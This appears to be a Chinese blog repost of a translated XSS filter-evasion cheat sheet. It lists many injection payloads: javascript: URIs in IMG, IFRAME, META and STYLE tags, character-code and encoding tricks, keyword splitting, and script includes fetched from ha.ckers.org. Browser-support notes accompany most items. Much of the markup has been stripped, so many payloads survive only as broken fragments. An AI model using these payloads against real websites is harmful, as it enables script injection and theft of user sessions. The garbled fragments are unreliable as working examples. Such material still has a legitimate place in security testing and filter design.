1,快速检查一个人页面是否有XSS,可以利用容易被轻视的""
标签:
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-->">'>
原文:
if you're in a rush and need to quickly check a page, often
times injecting the depreciated
"" tag will be enough to
check to see if something is vulnerable to XSS by messing up the
output appreciably:
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-->">'>
问题:这段话说利用PLAINTEXT标签,这个标签是显示HTML源码,如何结合以上那些语句来检测XSS。望看到,了解的人留言指导,或EMAIL:stevealeen@sina.com
2,如果可改变的输入只有很少字符,那可以利用这条语句:
'';!--"=&{()}
注入之后,查看HTML源码,查找
<XSS 来判断是否可利用
3,没有任何变形,也很容易被发现的XSS利用:
浏览器 support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
4,把XSS写入IMG标签中:
SRC="javascript:alert('XSS');">
但IE7并不支持,支持浏览器:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] (红色不支持)
或没有分号和引号:
SRC=javascript:alert('XSS')>
区分大小写:
SRC=JaVaScRiPt:alert('XSS')>
HTML转议:
SRC=javascript:alert("XSS")>
5,利用重音符,有时有代码中既需要单引号也需要双引号,可以用重音符:
'XSS'")`>
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] (红色不支持)
6,畸形的IMG标签:
""">">
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
7,不使用任何引号--利用fromCharCode方法
SRC=javascript:alert(String.fromCharCode(88,83,83))>
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
不使用任何引号--利用UTF-8编码:
SRC=javascript:alert('XSS')>
利用长UTF-8编码:
SRC=javascript:alert('XSS')>
利用16进制编码:
SRC=javascript:alert('XSS')>
即使=~ s/.*\(\d+);.*/$1/; 被过滤了……
8,拆分关键词:
SRC="jav ascript:alert('XSS');">
利用TAB键:
SRC="jav ascript:alert('XSS');">
利用换行键(Only 09 (horizontal tab), 10 (newline) and 13 (carriage
return)):
SRC="jav ascript:alert('XSS');">
嵌入特殊字符:
SRC="jav ascript:alert('XSS');">
换行:
SRC
=
"
j
a
v
a
s
c
r
i
p
t
:
a
l
e
r
t
(
'
X
S
S
'
)
"
>
利用空字符躲过过滤:
perl -e 'print "
SRC=java\0script:alert("XSS")>";' >
out
perl -e 'print
"alert("XSS")";'
> out
如果在javascript关键字中无法插入空符,可以利用ACSIC 1-32
9:
onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
10:在标签和参数间加/
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
11://号引发错误
<
12:Firefox and Netscape 8.1 in the Gecko rendering engine mode
可以不需要">"
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
12:特殊利用:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
13,IE机制不会像firfox一样,在源码解析时添加内容,但它依然可以IMG标签里放javascript执行命令,
它的优势在于,不用添加反尖括号>
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0]
[O9.02]
14
<
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
15:不需要单引号和双引号
alert(a.source)
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
16,当输入被作为参数写入HTML时,服务端会把参数过滤……如:
a="$ENV{QUERY_STRING}";
可以通过转码:
a="\";alert('XSS');//";
";alert('XSS');//
17,利用Title标签:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
IMG:
SRC="javascript:alert('XSS');">
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0]
[O9.02]
BODY:
优势,不用写javascript/Script...:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
18:OTHER:
HTML+TIME updates:
1. FSCommand() (attacker can use this when
executed from within an embedded Flash object)
IMG
Dynsrc:
DYNSRC="javascript:alert('XSS')">
LOWSRC="javascript:alert('XSS')">
SRC="javascript:alert('XSS');">
&
JavaScript includes (works in Netscape 4.x):
SIZE="&{alert('XSS')}">
LAYER (also only works in
Netscape 4.x)
STYLE
sheet:
HREF="javascript:alert('XSS'
19:
可以把去掉,如果后面直接跟HTML语句
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
20:本地htc文件
htc文件须要同一台服务器上
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
url("javascript:alert('XSS')");}
- XSS
VBscript in an
image:
SRC='vbscript:msgbox("XSS")'>
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
US-ASCII encoding
:这是所八位表示的ASCII,用七位来表示,这样的话,可以绕过很多的过滤,但不足的是,必须服务器支持,或客户端手设,已经TOMCAT/Apache支持这种码:
¼script¾alert(¢XSS¢)¼/script¾
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [NS4]
META -FRESH 在刷新时不发送refer值,所以可以用来利用
CONTENT="0;url=javascript:alert('XSS');">
META using
data 同样不用javascript/Script关键词:
CONTENT="0;url=;javascript:;;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">Browser
support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
如果应用过滤检查是否http://开头
Browser
support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
利用IFRAME:
SRC="javascript:alert('XSS');">
FRAME (frames have the
same sorts of XSS problems as iframes):
SRC="javascript:alert('XSS');">
BACKGROUND="javascript:alert('XSS')">
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0]
[O9.02]
TD标签:
BACKGROUND="javascript:alert('XSS')">
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0]
[O9.02]
DIV background-image:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
STYLE="background-image:。0075。0072。006C。0028'。006a。0061。0076。0061。0073。0063。0072。0069。0070。0074。003a。0061。006c。0065。0072。0074。0028.1027。0058.1053。0053。0027。0029'。0029">Browser
support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
利用非法字符 1-32,
34, 39, 160, 8192-8.13, 12288, 65279
support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
DIV标签中在冒号和表达式间用换行来躲过过滤
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
STYPLE利用不完整javascript:
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
STYLE="xss:expression_r(alert('XSS'))">
利用注释:
STYLE="xss:expression_r(alert('XSS'))">
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
STYLE="xss:expression_r(alert('XSS'))">
exppression(alert("XSS"))'>
STYLE tag using
background-image:
CLASS=XSS>
Browsersupport: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
利用注释:
BASE标签:
HREF="javascript:alert('XSS');//">
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
ACTIONSCRIPT XSS:
a="get";
b="URL("";
c="javascript:";
d="alert('XSS');")";
eval_r(a+b+c+d);
implementation="http://ha.ckers.org/xss.htc">
XSS
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
ID=I>
SRC="javas]]>]]>
DATASRC=#I DATAFLD=C
DATAFORMATAS=HTML>
ID="xss"><IMG
SRC="javascript:alert('XSS')">
DATAFORMATAS="HTML">
ns="urn:schemas-microsoft-com:time">
implementation="#default#time2">
to="XSS<SCRIPT
DEFER>alert("XSS")</SCRIPT>">
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
如果过滤.js:
PHP:
echo('
echo('IPT>alert("XSS")');
?>
修改利用COOKIE:
Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
允许"
但不允许"
regex filter
"/
Another XSS to evade the same filter,
"/
filter,
"/
"/
using grave accents (again, doesn't work in Firefox):
PT
SRC="http://ha.ckers.org/xss.js">
DWORD:
HEX:
Octal
Mixed
Protocol resolution bypass
HREF="//www.google.com/">XSS
多一个.
javascript link
HREF="javascript:document.location='http://www.google.com/'">XSS
本文详细介绍了多种检测和利用XSS(跨站脚本)漏洞的方法,包括利用废弃的PLAINTEXT标签、有限字符注入、变形的XSS利用、IMG标签中的JavaScript执行、ASCII和UTF-8编码绕过过滤、JavaScript关键字拆分等。同时列举了不同浏览器的支持情况,展示了XSS攻击的各种复杂性和多样性。

2706

被折叠的 条评论
为什么被折叠?



